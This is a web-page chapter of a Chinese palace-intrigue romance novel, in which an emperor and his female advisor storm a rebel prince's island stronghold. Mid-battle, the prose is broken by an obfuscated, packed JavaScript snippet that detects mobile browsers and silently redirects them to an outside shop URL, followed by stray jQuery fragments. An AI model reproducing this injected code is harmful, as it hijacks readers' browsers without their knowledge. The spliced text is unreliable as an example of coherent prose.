默认冷灰
24号文字
方正启体

55. 且将心曲付金樽(5)

作者:繁星昭月本书字数:K更新时间:
    宗暻渊剑法展开,每一剑都蕴含着磅礴的内力,瞬间将战局稳住,甚至反压回去。


    年昭月与他背靠而立,短剑配合,断水与帝王之剑交织成密不透风的剑网。


    “陛下为何亲至?”激战中,年昭月忍不住低声问。


    宗暻渊格开一刀,语气平淡却不容置疑:“东南大局,不容有失。何况……”他微微一顿,剑势更疾,“朕说过,你的安危,重于一切。”


    年昭月心头剧震,在这刀光剑影、生死一线的时刻,他这句话,比任何承诺都更重。


    就在这时,行辕外传来震天的喊杀声,陆铮率领的援军终于赶到!与此同时,盐仓方向的天空也亮起了代表任务完成的绿色信号,朔风那边也得手了!


    黑衣人见大势已去,那为首的头领发出一声不甘的怒吼,猛地掷出几枚烟幕弹,趁着混乱,带着残部试图突围。


    “追!格杀勿论!”宗暻渊冷声下令,与年昭月一同率先追出。


    雨夜追杀,直至天明。


    大部分来袭死士被歼灭,但头领及其少数心腹凭借对地形的熟悉,还是侥幸逃脱,消失在了茫茫雨幕与错综复杂的水道之中。


    ————


    清晨,雨歇。行辕内一片狼藉正在清理。


    朔风带回消息:盐仓内缴获大量军械、金银,并抓获了数名听雪楼的重要头目。经初步审讯,确认昨日行辕那名悍勇黑衣人头领,并非寒江本人,而是其副手,也是宁阳王麾下的另一名死士统领。


    “宁阳王和寒江比我们想的更狡猾,用的仍是替身。”朔风禀报。


    年昭月看向一旁沉默拭剑的宗暻渊。他昨夜的出现,彻底扭转了战局,也让她看到了他隐藏在帝王威仪下的另一面。


    “陛下,寒江虽逃,但其羽翼折损大半,舟山城据点被拔除,与宁阳王的联络必然受阻。接下来……”她请示道。


    宗暻渊归剑入鞘,目光投向窗外渐渐放晴的天空,语气斩钉截铁:“传令韩震,龙骧水师全体集结,目标雾隐岛!是时候,与朕这位皇叔,做最后的了断了!”


    ————


    龙骧水师近百艘战船扬帆出海,如同离弦之箭,直指迷雾深处的雾隐岛。舰船定海号的甲板上,宗暻渊与年昭月并肩而立,海风猎猎,吹动他们的衣袂。


    皇帝离京亲征的消息被严格封锁,此刻的他,只是一位神色冷峻的统帅。


    “根据俘虏口供和韩震前期侦查,雾隐岛东南有一处狭窄水道,退潮时可容中型船只通过,是进入岛内腹地的唯一路径,但也必是宁阳王重兵布防之处。”韩震在一旁禀报。


    “强攻损失太大。”年昭月凝视着远方海平面上那一片朦胧的灰影,“宁阳王经营此地多年,必有倚仗。需另辟蹊径。”


    宗暻渊目光扫过海图,最终落在雾隐岛西北侧一片标注着密集暗礁的区域:“从此处佯动,吸引其主力。真正的杀招,放在这里。”


    他指尖点向岛屿西南一处看似无法登陆的悬崖,“昨夜审讯得知,此处崖底有一处隐秘洞穴,可通岛内。宁阳王用以应急,如今,正可为我所用。”


    计划迅速制定。由韩震率领主力舰队在东南水道方向大张旗鼓,摆出强攻架势。


    而宗暻渊、年昭月则亲自率领朔风、陆铮及五百最精锐的士卒,乘坐数艘轻快小船,借夜色和礁石掩护,绕至西南悬崖之下。


    行动当夜,无月,风高浪急。东南方向炮声隆隆,火光映红半边天,韩震的佯攻开始了。


    西南悬崖下,宗暻渊与年昭月身先士卒,凭借飞爪绳索,在湿滑陡峭的崖壁上艰难攀爬。海浪拍打着礁石,发出震耳欲聋的咆哮。


    年昭月体力稍逊,几次脚下打滑,都被紧随其后的宗暻渊及时托住。他的手稳定而有力,在冰冷的夜色中传递一丝温度。


    “小心。”他低沉的嗓音混在海风里,几乎微不可闻。


    终于,众人成功潜入那处隐秘洞穴。洞穴内部曲折向上,潮湿阴冷,仅容单人通行。朔风在前探路,清除掉几处简单的机关陷阱。行了约莫半个时辰,前方隐约传来人声与光亮。


    尽头是一扇虚掩的石门。透过门缝,可见其内是一处宽阔的天然石厅,灯火通明,数十人正聚集于此,气氛紧张。


    为首一人,身着蟠龙亲王常服,面容与宗暻渊有几分相似,却更显阴鸷沧桑,正是宁阳王宗阳!


    他身旁,立着一位青衫文士,面容普通,唯有一双眼睛,冷静得可怕,想必就是那神秘的寒江!


    “……宗暻渊小儿竟敢亲至!也好,今日便叫他葬身鱼腹!”宁阳王声音带着压抑的狂怒,“寒江,各处防线可能守住?”


    “放心。”寒江声音平稳,“东南水道万无一失。只是……我担心,宗暻渊诡计多端,或有他路。”


    “他还能飞进来不成?”宁阳王冷哼。


    就在这时,石门被猛地撞开!


    “皇叔,别来无恙。”宗暻渊持剑踏入,声音冰冷,瞬间吸引了所有目光。


    年昭月紧随其后,目光锐利地扫过全场,最终定格在寒江身上。


    厅内顿时大乱!


    “保护王爷!”寒江厉喝,同时手腕一翻,数点寒星射向宗暻渊!竟是极高明的暗器手法!


    年昭月早有防备,身形一闪,断水短剑划出弧光,精准地将暗器磕飞。与此同时,朔风、陆铮率领精锐涌入,与厅内宁阳王的护卫厮杀在一起。


    混战瞬间爆发!


    宗暻渊剑指宁阳王,叔侄二人仇人见面,分外眼红,战作一团。


    宁阳王武功竟也不弱,一把长刀舞得虎虎生风,与宗暻渊的帝王剑法硬撼,一时难分高下。


    年昭月则对上了寒江。此人武功路数诡异,身法飘忽,一双肉掌蕴含着阴柔歹毒的劲力,竟能与断水锋刃硬碰而不伤。


    “你究竟是谁?”年昭月冷声问道,攻势如潮。


    寒江不语,眼中却闪过一丝复杂难明的情绪,攻势更急。两人以快打快,剑光掌影交织,劲气四溢。


    战局胶着之际,厅外忽然传来震天的喊杀声,韩震率领的龙骧水师精锐,竟然突破了东南防线,杀了进来!


    原来,宗暻渊早已安排另一支奇兵,趁主力吸引注意时,从其他薄弱点突袭!


    内外夹击之下,宁阳王部下顿时溃不成军。


    宁阳王见大势已去,面露疯狂,不顾宗暻渊刺来的长剑,猛地扑向年昭月,意图挟持她作为人质!“黄毛丫头,坏我大事!”


    “小心!”宗暻渊瞳孔一缩,剑势急转,却已不及。


    年昭月临危不乱,侧身避过宁阳王扑击,同时断水短剑反手疾刺!


    然而,寒江却在此刻做出了令人意想不到的举动,他猛地挡在了宁阳王身前!


    “噗嗤——”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972919|190086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>短剑透胸而过。


    寒江身体一僵,低头看了看穿胸而过的剑刃,又看向一脸错愕的宁阳王,嘴角扯出一个极其苦涩的笑容……


    用尽最后力气低语:“父王……孩儿……只能陪您到此了……”


    宁阳王如遭雷击,呆立当场。


    所有人都被这变故惊住。寒江……竟是宁阳王的私生子?!


    宗暻渊的剑尖已抵在宁阳王咽喉。宁阳王看着怀中气息消散的儿子,又看看周围已成定局的败势,仰天发出一声凄厉绝望的长啸,猛地向前一撞!


    剑锋瞬间没入!


    没想到,宗暻渊的心腹大患,宁阳王宗阳,就此伏诛了。


    ————


    雾隐岛之战,以朝廷大获全胜告终。宁阳王及其党羽核心尽数覆灭,缴获兵器、财物无数。


    海面上,朝阳冲破云层,洒下万道金光。定海号船头,宗暻渊与年昭月望着被清理的战场和恢复平静的海面。


    “寒江的身份,倒是出乎意料。”年昭月轻声道。


    谁能想到,那神秘莫测的听雪楼楼主,对宁阳王如此死心塌地,竟是源于血脉。


    宗暻渊目光深远:“权力之毒,浸染血脉,酿成如此悲剧。”


    他转而看向年昭月,海风吹拂着她的发丝,朝阳为她镀上一层金边,“此间事了,该回京了。”


    年昭月迎上他的目光,微微一笑:“是,陛下。”


    她没有多言,但彼此都明白,经此一役,朝堂将稳,天下将安。


    ————


    年昭月在朝堂上提出的关于安抚东南降部、利用漕运新政平抑粮价等奏议,条理清晰,切中要害,常令满朝文武暗自叹服。


    宗暻渊端坐龙椅,目光时常不经意间掠过那个立于百官前列的绯色身影。


    她聆听时的专注,发言时的从容,与他目光交汇时的沉静……一点点缠绕在他心间。


    这日散朝后,宗暻渊独留年昭月在紫宸殿偏殿商议漕粮转运细节。殿内只剩他们二人,以及角落里侍立的内侍。议事完毕,内侍奉上清茶。


    宗暻渊并未让她立刻离去,他摩挲着温热的茶杯壁,目光落在她略显疲惫的眉眼间,语气状似随意的问道:“东南之战,一路奔波,朕观你……比离京前清减了些。”


    年昭月端着茶盏的手指几不可查地收紧了一下。她垂眸看着杯中沉浮的茶叶,“劳陛下挂心,些许奔波,臣女还受得住。”


    他语气平淡,却带着不容错辨的关切,“宫中尚有些上好的血燕,待会儿让内务府送些到你府上。”


    “陛下,这……”年昭月下意识想推辞。


    “朕赏你的,你便收着。”宗暻渊打断她,声音微沉,带着不容置疑的意味,“身子要紧。朕……与朝廷,还需要你。”


    年昭月心头微暖,终是轻轻颔首:“谢陛下赏赐。”


    看着她低垂的眉眼和恭敬却疏远的姿态,宗暻渊袖中的手微微握紧。


    “若无他事,臣女先行告退。”年昭月的声音打破沉寂。


    “……去吧。”宗暻渊挥了挥手,目光重新落回御案上的奏疏。


    年昭月躬身退出偏殿,直到走出很远,才缓缓吐出一口浊气。她抬头望向宫墙上方四角的天空,心中一片纷乱。


    他到底,是如何看待她的?


    而她,又该如何定位自己在他身边的位置?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)